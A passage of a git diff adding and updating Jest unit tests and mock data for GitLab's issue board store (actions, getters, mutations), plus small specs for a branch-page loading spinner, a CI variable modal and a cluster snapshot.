+ id: 'gid://gitlab/Epic/41',
+ },
};
+export const mockIssueWithModel = new ListIssue(mockIssue);
+
+export const mockIssue2 = {
+ id: 'gid://gitlab/Issue/437',
+ iid: 28,
+ title: 'Issue 2',
+ dueDate: null,
+ timeEstimate: 0,
+ weight: null,
+ confidential: false,
+ referencePath: 'gitlab-org/test-subgroup/gitlab-test#28',
+ path: '/gitlab-org/test-subgroup/gitlab-test/-/issues/28',
+ assignees,
+ labels,
+ epic: {
+ id: 'gid://gitlab/Epic/40',
+ },
+};
+
+export const mockIssue2WithModel = new ListIssue(mockIssue2);
+
+export const mockIssue3 = {
+ id: 'gid://gitlab/Issue/438',
+ iid: 29,
+ title: 'Issue 3',
+ referencePath: '#29',
+ dueDate: null,
+ timeEstimate: 0,
+ weight: null,
+ confidential: false,
+ path: '/gitlab-org/gitlab-test/-/issues/28',
+ assignees,
+ labels,
+ epic: null,
+};
+
+export const mockIssue4 = {
+ id: 'gid://gitlab/Issue/439',
+ iid: 30,
+ title: 'Issue 4',
+ referencePath: '#30',
+ dueDate: null,
+ timeEstimate: 0,
+ weight: null,
+ confidential: false,
+ path: '/gitlab-org/gitlab-test/-/issues/28',
+ assignees,
+ labels,
+ epic: null,
+};
+
+export const mockIssues = [mockIssue, mockIssue2];
+
export const BoardsMockData = {
GET: {
'/test/-/boards/1/lists/300/issues?id=300&page=1': {
@@ -165,3 +272,50 @@ export const setMockEndpoints = (opts = {}) => {
boardId,
});
};
+
+export const mockLists = [
+ {
+ id: 'gid://gitlab/List/1',
+ title: 'Backlog',
+ position: null,
+ listType: 'backlog',
+ collapsed: false,
+ label: null,
+ assignee: null,
+ milestone: null,
+ loading: false,
+ },
+ {
+ id: 'gid://gitlab/List/2',
+ title: 'To Do',
+ position: 0,
+ listType: 'label',
+ collapsed: false,
+ label: {
+ id: 'gid://gitlab/GroupLabel/121',
+ title: 'To Do',
+ color: '#F0AD4E',
+ textColor: '#FFFFFF',
+ description: null,
+ },
+ assignee: null,
+ milestone: null,
+ loading: false,
+ },
+];
+
+export const mockListsWithModel = mockLists.map(listMock =>
+ Vue.observable(new List({ ...listMock, doNotFetchIssues: true })),
+);
+
+export const mockIssuesByListId = {
+ 'gid://gitlab/List/1': [mockIssue.id, mockIssue3.id, mockIssue4.id],
+ 'gid://gitlab/List/2': mockIssues.map(({ id }) => id),
+};
+
+export const issues = {
+ [mockIssue.id]: mockIssue,
+ [mockIssue2.id]: mockIssue2,
+ [mockIssue3.id]: mockIssue3,
+ [mockIssue4.id]: mockIssue4,
+};
diff --git a/spec/frontend/boards/stores/actions_spec.js b/spec/frontend/boards/stores/actions_spec.js
index d539cba76ca..bdbcd435708 100644
--- a/spec/frontend/boards/stores/actions_spec.js
+++ b/spec/frontend/boards/stores/actions_spec.js
@@ -1,7 +1,17 @@
import testAction from 'helpers/vuex_action_helper';
-import actions from '~/boards/stores/actions';
+import {
+ mockListsWithModel,
+ mockLists,
+ mockIssue,
+ mockIssueWithModel,
+ mockIssue2WithModel,
+ rawIssue,
+} from '../mock_data';
+import actions, { gqlClient } from '~/boards/stores/actions';
import * as types from '~/boards/stores/mutation_types';
-import { inactiveId } from '~/boards/constants';
+import { inactiveId, ListType } from '~/boards/constants';
+import issueMoveListMutation from '~/boards/queries/issue_move_list.mutation.graphql';
+import { fullBoardId } from '~/boards/boards_util';
const expectNotImplemented = action => {
it('is not implemented', () => {
@@ -9,6 +19,10 @@ const expectNotImplemented = action => {
});
};
+// We need this helper to make sure projectPath is including
+// subgroups when the movIssue action is called.
+const getProjectPath = path => path.split('#')[0];
+
describe('setInitialBoardData', () => {
it('sets data object', () => {
const mockData = {
@@ -26,6 +40,25 @@ describe('setInitialBoardData', () => {
});
});
+describe('setFilters', () => {
+ it('should commit mutation SET_FILTERS', done => {
+ const state = {
+ filters: {},
+ };
+
+ const filters = { labelName: 'label' };
+
+ testAction(
+ actions.setFilters,
+ filters,
+ state,
+ [{ type: types.SET_FILTERS, payload: filters }],
+ [],
+ done,
+ );
+ });
+});
+
describe('setActiveId', () => {
it('should commit mutation SET_ACTIVE_ID', done => {
const state = {
@@ -34,17 +67,40 @@ describe('setActiveId', () => {
testAction(
actions.setActiveId,
- 1,
+ { id: 1, sidebarType: 'something' },
state,
- [{ type: types.SET_ACTIVE_ID, payload: 1 }],
+ [{ type: types.SET_ACTIVE_ID, payload: { id: 1, sidebarType: 'something' } }],
[],
done,
);
});
});
-describe('fetchLists', () => {
- expectNotImplemented(actions.fetchLists);
+describe('showWelcomeList', () => {
+ it('should dispatch addList action', done => {
+ const state = {
+ endpoints: { fullPath: 'gitlab-org', boardId: '1' },
+ boardType: 'group',
+ disabled: false,
+ boardLists: [{ type: 'backlog' }, { type: 'closed' }],
+ };
+
+ const blankList = {
+ id: 'blank',
+ listType: ListType.blank,
+ title: 'Welcome to your issue board!',
+ position: 0,
+ };
+
+ testAction(
+ actions.showWelcomeList,
+ {},
+ state,
+ [],
+ [{ type: 'addList', payload: blankList }],
+ done,
+ );
+ });
});
describe('generateDefaultLists', () => {
@@ -52,29 +108,316 @@ describe('generateDefaultLists', () => {
});
describe('createList', () => {
- expectNotImplemented(actions.createList);
+ it('should dispatch addList action when creating backlog list', done => {
+ const backlogList = {
+ id: 'gid://gitlab/List/1',
+ listType: 'backlog',
+ title: 'Open',
+ position: 0,
+ };
+
+ jest.spyOn(gqlClient, 'mutate').mockReturnValue(
+ Promise.resolve({
+ data: {
+ boardListCreate: {
+ list: backlogList,
+ errors: [],
+ },
+ },
+ }),
+ );
+
+ const state = {
+ endpoints: { fullPath: 'gitlab-org', boardId: '1' },
+ boardType: 'group',
+ disabled: false,
+ boardLists: [{ type: 'closed' }],
+ };
+
+ testAction(
+ actions.createList,
+ { backlog: true },
+ state,
+ [],
+ [{ type: 'addList', payload: backlogList }],
+ done,
+ );
+ });
+
+ it('should commit CREATE_LIST_FAILURE mutation when API returns an error', done => {
+ jest.spyOn(gqlClient, 'mutate').mockReturnValue(
+ Promise.resolve({
+ data: {
+ boardListCreate: {
+ list: {},
+ errors: [{ foo: 'bar' }],
+ },
+ },
+ }),
+ );
+
+ const state = {
+ endpoints: { fullPath: 'gitlab-org', boardId: '1' },
+ boardType: 'group',
+ disabled: false,
+ boardLists: [{ type: 'closed' }],
+ };
+
+ testAction(
+ actions.createList,
+ { backlog: true },
+ state,
+ [{ type: types.CREATE_LIST_FAILURE }],
+ [],
+ done,
+ );
+ });
+});
+
+describe('moveList', () => {
+ it('should commit MOVE_LIST mutation and dispatch updateList action', done => {
+ const state = {
+ endpoints: { fullPath: 'gitlab-org', boardId: '1' },
+ boardType: 'group',
+ disabled: false,
+ boardLists: mockListsWithModel,
+ };
+
+ testAction(
+ actions.moveList,
+ { listId: 'gid://gitlab/List/1', newIndex: 1, adjustmentValue: 1 },
+ state,
+ [
+ {
+ type: types.MOVE_LIST,
+ payload: { movedList: mockListsWithModel[0], listAtNewIndex: mockListsWithModel[1] },
+ },
+ ],
+ [
+ {
+ type: 'updateList',
+ payload: { listId: 'gid://gitlab/List/1', position: 0, backupList: mockListsWithModel },
+ },
+ ],
+ done,
+ );
+ });
});
describe('updateList', () => {
- expectNotImplemented(actions.updateList);
+ it('should commit UPDATE_LIST_FAILURE mutation when API returns an error', done => {
+ jest.spyOn(gqlClient, 'mutate').mockResolvedValue({
+ data: {
+ updateBoardList: {
+ list: {},
+ errors: [{ foo: 'bar' }],
+ },
+ },
+ });
+
+ const state = {
+ endpoints: { fullPath: 'gitlab-org', boardId: '1' },
+ boardType: 'group',
+ disabled: false,
+ boardLists: [{ type: 'closed' }],
+ };
+
+ testAction(
+ actions.updateList,
+ { listId: 'gid://gitlab/List/1', position: 1 },
+ state,
+ [{ type: types.UPDATE_LIST_FAILURE }],
+ [],
+ done,
+ );
+ });
});
describe('deleteList', () => {
expectNotImplemented(actions.deleteList);
});
-describe('fetchIssuesForList', () => {
- expectNotImplemented(actions.fetchIssuesForList);
-});
-
describe('moveIssue', () => {
- expectNotImplemented(actions.moveIssue);
+ const listIssues = {
+ 'gid://gitlab/List/1': [436, 437],
+ 'gid://gitlab/List/2': [],
+ };
+
+ const issues = {
+ '436': mockIssueWithModel,
+ '437': mockIssue2WithModel,
+ };
+
+ const state = {
+ endpoints: { fullPath: 'gitlab-org', boardId: '1' },
+ boardType: 'group',
+ disabled: false,
+ boardLists: mockListsWithModel,
+ issuesByListId: listIssues,
+ issues,
+ };
+
+ it('should commit MOVE_ISSUE mutation and MOVE_ISSUE_SUCCESS mutation when successful', done => {
+ jest.spyOn(gqlClient, 'mutate').mockResolvedValue({
+ data: {
+ issueMoveList: {
+ issue: rawIssue,
+ errors: [],
+ },
+ },
+ });
+
+ testAction(
+ actions.moveIssue,
+ {
+ issueId: '436',
+ issueIid: mockIssue.iid,
+ issuePath: mockIssue.referencePath,
+ fromListId: 'gid://gitlab/List/1',
+ toListId: 'gid://gitlab/List/2',
+ },
+ state,
+ [
+ {
+ type: types.MOVE_ISSUE,
+ payload: {
+ originalIssue: mockIssueWithModel,
+ fromListId: 'gid://gitlab/List/1',
+ toListId: 'gid://gitlab/List/2',
+ },
+ },
+ {
+ type: types.MOVE_ISSUE_SUCCESS,
+ payload: { issue: rawIssue },
+ },
+ ],
+ [],
+ done,
+ );
+ });
+
+ it('calls mutate with the correct variables', () => {
+ const mutationVariables = {
+ mutation: issueMoveListMutation,
+ variables: {
+ projectPath: getProjectPath(mockIssue.referencePath),
+ boardId: fullBoardId(state.endpoints.boardId),
+ iid: mockIssue.iid,
+ fromListId: 1,
+ toListId: 2,
+ moveBeforeId: undefined,
+ moveAfterId: undefined,
+ },
+ };
+ jest.spyOn(gqlClient, 'mutate').mockResolvedValue({
+ data: {
+ issueMoveList: {
+ issue: rawIssue,
+ errors: [],
+ },
+ },
+ });
+
+ actions.moveIssue(
+ { state, commit: () => {} },
+ {
+ issueId: mockIssue.id,
+ issueIid: mockIssue.iid,
+ issuePath: mockIssue.referencePath,
+ fromListId: 'gid://gitlab/List/1',
+ toListId: 'gid://gitlab/List/2',
+ },
+ );
+
+ expect(gqlClient.mutate).toHaveBeenCalledWith(mutationVariables);
+ });
+
+ it('should commit MOVE_ISSUE mutation and MOVE_ISSUE_FAILURE mutation when unsuccessful', done => {
+ jest.spyOn(gqlClient, 'mutate').mockResolvedValue({
+ data: {
+ issueMoveList: {
+ issue: {},
+ errors: [{ foo: 'bar' }],
+ },
+ },
+ });
+
+ testAction(
+ actions.moveIssue,
+ {
+ issueId: '436',
+ issueIid: mockIssue.iid,
+ issuePath: mockIssue.referencePath,
+ fromListId: 'gid://gitlab/List/1',
+ toListId: 'gid://gitlab/List/2',
+ },
+ state,
+ [
+ {
+ type: types.MOVE_ISSUE,
+ payload: {
+ originalIssue: mockIssueWithModel,
+ fromListId: 'gid://gitlab/List/1',
+ toListId: 'gid://gitlab/List/2',
+ },
+ },
+ {
+ type: types.MOVE_ISSUE_FAILURE,
+ payload: {
+ originalIssue: mockIssueWithModel,
+ fromListId: 'gid://gitlab/List/1',
+ toListId: 'gid://gitlab/List/2',
+ originalIndex: 0,
+ },
+ },
+ ],
+ [],
+ done,
+ );
+ });
});
describe('createNewIssue', () => {
expectNotImplemented(actions.createNewIssue);
});
+describe('addListIssue', () => {
+ it('should commit UPDATE_LIST_FAILURE mutation when API returns an error', done => {
+ const payload = {
+ list: mockLists[0],
+ issue: mockIssue,
+ position: 0,
+ };
+
+ testAction(
+ actions.addListIssue,
+ payload,
+ {},
+ [{ type: types.ADD_ISSUE_TO_LIST, payload }],
+ [],
+ done,
+ );
+ });
+});
+
+describe('addListIssueFailure', () => {
+ it('should commit UPDATE_LIST_FAILURE mutation when API returns an error', done => {
+ const payload = {
+ list: mockLists[0],
+ issue: mockIssue,
+ };
+
+ testAction(
+ actions.addListIssueFailure,
+ payload,
+ {},
+ [{ type: types.ADD_ISSUE_TO_LIST_FAILURE, payload }],
+ [],
+ done,
+ );
+ });
+});
+
describe('fetchBacklog', () => {
expectNotImplemented(actions.fetchBacklog);
});
diff --git a/spec/frontend/boards/stores/getters_spec.js b/spec/frontend/boards/stores/getters_spec.js
index 38b2333e679..288143a0f21 100644
--- a/spec/frontend/boards/stores/getters_spec.js
+++ b/spec/frontend/boards/stores/getters_spec.js
@@ -1,4 +1,6 @@
import getters from '~/boards/stores/getters';
+import { inactiveId } from '~/boards/constants';
+import { mockIssue, mockIssue2, mockIssues, mockIssuesByListId, issues } from '../mock_data';
describe('Boards - Getters', () => {
describe('getLabelToggleState', () => {
@@ -18,4 +20,114 @@ describe('Boards - Getters', () => {
expect(getters.getLabelToggleState(state)).toBe('off');
});
});
+
+ describe('isSidebarOpen', () => {
+ it('returns true when activeId is not equal to 0', () => {
+ const state = {
+ activeId: 1,
+ };
+
+ expect(getters.isSidebarOpen(state)).toBe(true);
+ });
+
+ it('returns false when activeId is equal to 0', () => {
+ const state = {
+ activeId: inactiveId,
+ };
+
+ expect(getters.isSidebarOpen(state)).toBe(false);
+ });
+ });
+
+ describe('isSwimlanesOn', () => {
+ afterEach(() => {
+ window.gon = { features: {} };
+ });
+
+ describe('when boardsWithSwimlanes is true', () => {
+ beforeEach(() => {
+ window.gon = { features: { boardsWithSwimlanes: true } };
+ });
+
+ describe('when isShowingEpicsSwimlanes is true', () => {
+ it('returns true', () => {
+ const state = {
+ isShowingEpicsSwimlanes: true,
+ };
+
+ expect(getters.isSwimlanesOn(state)).toBe(true);
+ });
+ });
+
+ describe('when isShowingEpicsSwimlanes is false', () => {
+ it('returns false', () => {
+ const state = {
+ isShowingEpicsSwimlanes: false,
+ };
+
+ expect(getters.isSwimlanesOn(state)).toBe(false);
+ });
+ });
+ });
+
+ describe('when boardsWithSwimlanes is false', () => {
+ describe('when isShowingEpicsSwimlanes is true', () => {
+ it('returns false', () => {
+ const state = {
+ isShowingEpicsSwimlanes: true,
+ };
+
+ expect(getters.isSwimlanesOn(state)).toBe(false);
+ });
+ });
+
+ describe('when isShowingEpicsSwimlanes is false', () => {
+ it('returns false', () => {
+ const state = {
+ isShowingEpicsSwimlanes: false,
+ };
+
+ expect(getters.isSwimlanesOn(state)).toBe(false);
+ });
+ });
+ });
+ });
+
+ describe('getIssueById', () => {
+ const state = { issues: { '1': 'issue' } };
+
+ it.each`
+ id | expected
+ ${'1'} | ${'issue'}
+ ${''} | ${{}}
+ `('returns $expected when $id is passed to state', ({ id, expected }) => {
+ expect(getters.getIssueById(state)(id)).toEqual(expected);
+ });
+ });
+
+ describe('getActiveIssue', () => {
+ it.each`
+ id | expected
+ ${'1'} | ${'issue'}
+ ${''} | ${{}}
+ `('returns $expected when $id is passed to state', ({ id, expected }) => {
+ const state = { issues: { '1': 'issue' }, activeId: id };
+
+ expect(getters.getActiveIssue(state)).toEqual(expected);
+ });
+ });
+
+ describe('getIssues', () => {
+ const boardsState = {
+ issuesByListId: mockIssuesByListId,
+ issues,
+ };
+ it('returns issues for a given listId', () => {
+ const getIssueById = issueId => [mockIssue, mockIssue2].find(({ id }) => id === issueId);
+
+ expect(getters.getIssues(boardsState, { getIssueById })('gid://gitlab/List/2')).toEqual(
+ mockIssues,
+ );
+ });
+ });
});
diff --git a/spec/frontend/boards/stores/mutations_spec.js b/spec/frontend/boards/stores/mutations_spec.js
index c1f7f3dda6e..a13a99a507e 100644
--- a/spec/frontend/boards/stores/mutations_spec.js
+++ b/spec/frontend/boards/stores/mutations_spec.js
@@ -1,6 +1,17 @@
import mutations from '~/boards/stores/mutations';
+import * as types from '~/boards/stores/mutation_types';
import defaultState from '~/boards/stores/state';
-import { mockIssue } from '../mock_data';
+import {
+ listObj,
+ listObjDuplicate,
+ mockListsWithModel,
+ mockLists,
+ rawIssue,
+ mockIssue,
+ mockIssue2,
+ mockIssueWithModel,
+ mockIssue2WithModel,
+} from '../mock_data';
const expectNotImplemented = action => {
it('is not implemented', () => {
@@ -26,21 +37,56 @@ describe('Board Store Mutations', () => {
fullPath: 'gitlab-org',
};
const boardType = 'group';
+ const disabled = false;
+ const showPromotion = false;
- mutations.SET_INITIAL_BOARD_DATA(state, { ...endpoints, boardType });
+ mutations[types.SET_INITIAL_BOARD_DATA](state, {
+ ...endpoints,
+ boardType,
+ disabled,
+ showPromotion,
+ });
expect(state.endpoints).toEqual(endpoints);
expect(state.boardType).toEqual(boardType);
+ expect(state.disabled).toEqual(disabled);
+ expect(state.showPromotion).toEqual(showPromotion);
+ });
+ });
+
+ describe('RECEIVE_BOARD_LISTS_SUCCESS', () => {
+ it('Should set boardLists to state', () => {
+ const lists = [listObj, listObjDuplicate];
+
+ mutations[types.RECEIVE_BOARD_LISTS_SUCCESS](state, lists);
+
+ expect(state.boardLists).toEqual(lists);
});
});
describe('SET_ACTIVE_ID', () => {
- it('updates activeListId to be the value that is passed', () => {
- const expectedId = 1;
+ const expected = { id: 1, sidebarType: '' };
- mutations.SET_ACTIVE_ID(state, expectedId);
+ beforeEach(() => {
+ mutations.SET_ACTIVE_ID(state, expected);
+ });
+
+ it('updates aciveListId to be the value that is passed', () => {
+ expect(state.activeId).toBe(expected.id);
+ });
- expect(state.activeId).toBe(expectedId);
+ it('updates sidebarType to be the value that is passed', () => {
+ expect(state.sidebarType).toBe(expected.sidebarType);
+ });
+ });
+
+ describe('SET_FILTERS', () => {
+ it('updates filterParams to be the value that is passed', () => {
+ const filterParams = { labelName: 'label' };
+
+ mutations.SET_FILTERS(state, filterParams);
+
+ expect(state.filterParams).toBe(filterParams);
});
});
@@ -56,16 +102,35 @@ describe('Board Store Mutations', () => {
expectNotImplemented(mutations.RECEIVE_ADD_LIST_ERROR);
});
- describe('REQUEST_UPDATE_LIST', () => {
- expectNotImplemented(mutations.REQUEST_UPDATE_LIST);
- });
+ describe('MOVE_LIST', () => {
+ it('updates boardLists state with reordered lists', () => {
+ state = {
+ ...state,
+ boardLists: mockListsWithModel,
+ };
- describe('RECEIVE_UPDATE_LIST_SUCCESS', () => {
- expectNotImplemented(mutations.RECEIVE_UPDATE_LIST_SUCCESS);
+ mutations.MOVE_LIST(state, {
+ movedList: mockListsWithModel[0],
+ listAtNewIndex: mockListsWithModel[1],
+ });
+
+ expect(state.boardLists).toEqual([mockListsWithModel[1], mockListsWithModel[0]]);
+ });
});
- describe('RECEIVE_UPDATE_LIST_ERROR', () => {
- expectNotImplemented(mutations.RECEIVE_UPDATE_LIST_ERROR);
+ describe('UPDATE_LIST_FAILURE', () => {
+ it('updates boardLists state with previous order and sets error message', () => {
+ state = {
+ ...state,
+ boardLists: [mockListsWithModel[1], mockListsWithModel[0]],
+ error: undefined,
+ };
+
+ mutations.UPDATE_LIST_FAILURE(state, mockListsWithModel);
+
+ expect(state.boardLists).toEqual(mockListsWithModel);
+ expect(state.error).toEqual('An error occurred while updating the list. Please try again.');
+ });
});
describe('REQUEST_REMOVE_LIST', () => {
@@ -80,6 +145,33 @@ describe('Board Store Mutations', () => {
expectNotImplemented(mutations.RECEIVE_REMOVE_LIST_ERROR);
});
+ describe('RECEIVE_ISSUES_FOR_LIST_SUCCESS', () => {
+ it('updates issuesByListId and issues on state', () => {
+ const listIssues = {
+ 'gid://gitlab/List/1': [mockIssue.id],
+ };
+ const issues = {
+ '1': mockIssue,
+ };
+
+ state = {
+ ...state,
+ isLoadingIssues: true,
+ issuesByListId: {},
+ issues: {},
+ boardLists: mockListsWithModel,
+ };
+
+ mutations.RECEIVE_ISSUES_FOR_LIST_SUCCESS(state, {
+ listIssues: { listData: listIssues, issues },
+ listId: 'gid://gitlab/List/1',
+ });
+
+ expect(state.issuesByListId).toEqual(listIssues);
+ expect(state.issues).toEqual(issues);
+ });
+ });
+
describe('REQUEST_ISSUES_FOR_ALL_LISTS', () => {
it('sets isLoadingIssues to true', () => {
expect(state.isLoadingIssues).toBe(false);
@@ -90,22 +182,45 @@ describe('Board Store Mutations', () => {
});
});
+ describe('RECEIVE_ISSUES_FOR_LIST_FAILURE', () => {
+ it('sets error message', () => {
+ state = {
+ ...state,
+ boardLists: mockListsWithModel,
+ error: undefined,
+ };
+
+ const listId = 'gid://gitlab/List/1';
+
+ mutations.RECEIVE_ISSUES_FOR_LIST_FAILURE(state, listId);
+
+ expect(state.error).toEqual(
+ 'An error occurred while fetching the board issues. Please reload the page.',
+ );
+ });
+ });
+
describe('RECEIVE_ISSUES_FOR_ALL_LISTS_SUCCESS', () => {
it('sets isLoadingIssues to false and updates issuesByListId object', () => {
const listIssues = {
- '1': [mockIssue],
+ 'gid://gitlab/List/1': [mockIssue.id],
+ };
+ const issues = {
+ '1': mockIssue,
};
state = {
...state,
isLoadingIssues: true,
issuesByListId: {},
+ issues: {},
};
- mutations.RECEIVE_ISSUES_FOR_ALL_LISTS_SUCCESS(state, listIssues);
+ mutations.RECEIVE_ISSUES_FOR_ALL_LISTS_SUCCESS(state, { listData: listIssues, issues });
expect(state.isLoadingIssues).toBe(false);
expect(state.issuesByListId).toEqual(listIssues);
+ expect(state.issues).toEqual(issues);
});
});
@@ -113,6 +228,65 @@ describe('Board Store Mutations', () => {
expectNotImplemented(mutations.REQUEST_ADD_ISSUE);
});
+ describe('RECEIVE_ISSUES_FOR_ALL_LISTS_FAILURE', () => {
+ it('sets isLoadingIssues to false and sets error message', () => {
+ state = {
+ ...state,
+ isLoadingIssues: true,
+ error: undefined,
+ };
+
+ mutations.RECEIVE_ISSUES_FOR_ALL_LISTS_FAILURE(state);
+
+ expect(state.isLoadingIssues).toBe(false);
+ expect(state.error).toEqual(
+ 'An error occurred while fetching the board issues. Please reload the page.',
+ );
+ });
+ });
+
+ describe('UPDATE_ISSUE_BY_ID', () => {
+ const issueId = '1';
+ const prop = 'id';
+ const value = '2';
+ const issue = { [issueId]: { id: 1, title: 'Issue' } };
+
+ beforeEach(() => {
+ state = {
+ ...state,
+ isLoadingIssues: true,
+ error: undefined,
+ issues: {
+ ...issue,
+ },
+ };
+ });
+
+ describe('when the issue is in state', () => {
+ it('updates the property of the correct issue', () => {
+ mutations.UPDATE_ISSUE_BY_ID(state, {
+ issueId,
+ prop,
+ value,
+ });
+
+ expect(state.issues[issueId]).toEqual({ ...issue[issueId], id: '2' });
+ });
+ });
+
+ describe('when the issue is not in state', () => {
+ it('throws an error', () => {
+ expect(() => {
+ mutations.UPDATE_ISSUE_BY_ID(state, {
+ issueId: '3',
+ prop,
+ value,
+ });
+ }).toThrow(new Error('No issue found.'));
+ });
+ });
+ });
+
describe('RECEIVE_ADD_ISSUE_SUCCESS', () => {
expectNotImplemented(mutations.RECEIVE_ADD_ISSUE_SUCCESS);
});
@@ -121,16 +295,86 @@ describe('Board Store Mutations', () => {
expectNotImplemented(mutations.RECEIVE_ADD_ISSUE_ERROR);
});
- describe('REQUEST_MOVE_ISSUE', () => {
- expectNotImplemented(mutations.REQUEST_MOVE_ISSUE);
+ describe('MOVE_ISSUE', () => {
+ it('updates issuesByListId, moving issue between lists', () => {
+ const listIssues = {
+ 'gid://gitlab/List/1': [mockIssue.id, mockIssue2.id],
+ 'gid://gitlab/List/2': [],
+ };
+
+ const issues = {
+ '1': mockIssueWithModel,
+ '2': mockIssue2WithModel,
+ };
+
+ state = {
+ ...state,
+ issuesByListId: listIssues,
+ boardLists: mockListsWithModel,
+ issues,
+ };
+
+ mutations.MOVE_ISSUE(state, {
+ originalIssue: mockIssue2WithModel,
+ fromListId: 'gid://gitlab/List/1',
+ toListId: 'gid://gitlab/List/2',
+ });
+
+ const updatedListIssues = {
+ 'gid://gitlab/List/1': [mockIssue.id],
+ 'gid://gitlab/List/2': [mockIssue2.id],
+ };
+
+ expect(state.issuesByListId).toEqual(updatedListIssues);
+ });
});
- describe('RECEIVE_MOVE_ISSUE_SUCCESS', () => {
- expectNotImplemented(mutations.RECEIVE_MOVE_ISSUE_SUCCESS);
+ describe('MOVE_ISSUE_SUCCESS', () => {
+ it('updates issue in issues state', () => {
+ const issues = {
+ '436': { id: rawIssue.id },
+ };
+
+ state = {
+ ...state,
+ issues,
+ };
+
+ mutations.MOVE_ISSUE_SUCCESS(state, {
+ issue: rawIssue,
+ });
+
+ expect(state.issues).toEqual({ '436': { ...mockIssueWithModel, id: 436 } });
+ });
});
- describe('RECEIVE_MOVE_ISSUE_ERROR', () => {
- expectNotImplemented(mutations.RECEIVE_MOVE_ISSUE_ERROR);
+ describe('MOVE_ISSUE_FAILURE', () => {
+ it('updates issuesByListId, reverting moving issue between lists, and sets error message', () => {
+ const listIssues = {
+ 'gid://gitlab/List/1': [mockIssue.id],
+ 'gid://gitlab/List/2': [mockIssue2.id],
+ };
+
+ state = {
+ ...state,
+ issuesByListId: listIssues,
+ };
+
+ mutations.MOVE_ISSUE_FAILURE(state, {
+ originalIssue: mockIssue2,
+ fromListId: 'gid://gitlab/List/1',
+ toListId: 'gid://gitlab/List/2',
+ originalIndex: 1,
+ });
+
+ const updatedListIssues = {
+ 'gid://gitlab/List/1': [mockIssue.id, mockIssue2.id],
+ 'gid://gitlab/List/2': [],
+ };
+
+ expect(state.issuesByListId).toEqual(updatedListIssues);
+ expect(state.error).toEqual('An error occurred while moving the issue. Please try again.');
+ });
});
describe('REQUEST_UPDATE_ISSUE', () => {
@@ -145,6 +389,50 @@ describe('Board Store Mutations', () => {
expectNotImplemented(mutations.RECEIVE_UPDATE_ISSUE_ERROR);
});
+ describe('ADD_ISSUE_TO_LIST', () => {
+ it('adds issue to issues state and issue id in list in issuesByListId', () => {
+ const listIssues = {
+ 'gid://gitlab/List/1': [mockIssue.id],
+ };
+ const issues = {
+ '1': mockIssue,
+ };
+
+ state = {
+ ...state,
+ issuesByListId: listIssues,
+ issues,
+ };
+
+ mutations.ADD_ISSUE_TO_LIST(state, { list: mockLists[0], issue: mockIssue2 });
+
+ expect(state.issuesByListId['gid://gitlab/List/1']).toContain(mockIssue2.id);
+ expect(state.issues[mockIssue2.id]).toEqual(mockIssue2);
+ });
+ });
+
+ describe('ADD_ISSUE_TO_LIST_FAILURE', () => {
+ it('removes issue id from list in issuesByListId', () => {
+ const listIssues = {
+ 'gid://gitlab/List/1': [mockIssue.id, mockIssue2.id],
+ };
+ const issues = {
+ '1': mockIssue,
+ '2': mockIssue2,
+ };
+
+ state = {
+ ...state,
+ issuesByListId: listIssues,
+ issues,
+ };
+
+ mutations.ADD_ISSUE_TO_LIST_FAILURE(state, { list: mockLists[0], issue: mockIssue2 });
+
+ expect(state.issuesByListId['gid://gitlab/List/1']).not.toContain(mockIssue2.id);
+ });
+ });
+
describe('SET_CURRENT_PAGE', () => {
expectNotImplemented(mutations.SET_CURRENT_PAGE);
});
diff --git a/spec/frontend/branches/ajax_loading_spinner_spec.js b/spec/frontend/branches/ajax_loading_spinner_spec.js
new file mode 100644
index 00000000000..a6404faa445
--- /dev/null
+++ b/spec/frontend/branches/ajax_loading_spinner_spec.js
@@ -0,0 +1,32 @@
+import AjaxLoadingSpinner from '~/branches/ajax_loading_spinner';
+
+describe('Ajax Loading Spinner', () => {
+ let ajaxLoadingSpinnerElement;
+ let fauxEvent;
+ beforeEach(() => {
+ document.body.innerHTML = `
+ <div>
+ <a class="js-ajax-loading-spinner"
+ data-remote
+ href="http://goesnowhere.nothing/whereami">
+ <i class="fa fa-trash-o"></i>
+ </a></div>`;
+ AjaxLoadingSpinner.init();
+ ajaxLoadingSpinnerElement = document.querySelector('.js-ajax-loading-spinner');
+ fauxEvent = { target: ajaxLoadingSpinnerElement };
+ });
+
+ afterEach(() => {
+ document.body.innerHTML = '';
+ });
+
+ it('`ajaxBeforeSend` event handler sets current icon to spinner and disables link', () => {
+ expect(ajaxLoadingSpinnerElement.parentNode.querySelector('.gl-spinner')).toBeNull();
+ expect(ajaxLoadingSpinnerElement.classList.contains('hidden')).toBe(false);
+
+ AjaxLoadingSpinner.ajaxBeforeSend(fauxEvent);
+
+ expect(ajaxLoadingSpinnerElement.parentNode.querySelector('.gl-spinner')).not.toBeNull();
+ expect(ajaxLoadingSpinnerElement.classList.contains('hidden')).toBe(true);
+ });
+});
diff --git a/spec/frontend/ci_variable_list/components/ci_variable_modal_spec.js b/spec/frontend/ci_variable_list/components/ci_variable_modal_spec.js
index 4e35243f484..ab32fb12058 100644
--- a/spec/frontend/ci_variable_list/components/ci_variable_modal_spec.js
+++ b/spec/frontend/ci_variable_list/components/ci_variable_modal_spec.js
@@ -49,7 +49,7 @@ describe('Ci variable modal', () => {
});
it('does not render the autocomplete dropdown', () => {
- expect(wrapper.contains(GlFormCombobox)).toBe(false);
+ expect(wrapper.find(GlFormCombobox).exists()).toBe(false);
});
});
diff --git a/spec/frontend/clusters/components/__snapshots__/new_cluster_spec.js.snap b/spec/frontend/clusters/components/__snapshots__/new_cluster_spec.js.snap
new file mode 100644
index 00000000000..5577176bcc5
--- /dev/null
+++ b/spec/frontend/clusters/components/__snapshots__/new_cluster_spec.js.snap
@@ -0,0 +1,8 @@
+// Jest Snapshot v1, https://goo.gl/fbAQLP
+
+exports[`NewCluster renders the cluster component correctly 1`] = `
+"<div>
+ <h4>Enter the details for your Kubernetes cluster</h4>
+ <p>Please enter access information for your Kubernetes cluster. If you need help, you can read our <b-link-stub href=\\"/some/help/path\\" target=\\"_blank\\" event=\\"click\\" routertag=\\"a\\" class=\\"gl-link\\">documentation</b-link-stub> on Kubernetes</p>
+</div>"
+`;
diff --git a/spec/frontend/clusters/components/application_row_spec.js b/spec/frontend/clusters/components/application_row_spec.js
index b97d4dbf355..0a964426c95 100644
--- a/spec/frontend/clusters/components/application_row_spec.js
+++ b/spec/frontend/clusters/components/application_row_spec.js
@@ -48,7 +48,7 @@ describe('Application Row', () => {
describe('Install button', () => {
const button = () => wrapper.find('.js-cluster-application-install-button');
const checkButtonState = (label, loading, disabled) => {
- expect(button().props('label')).toEqual(label);
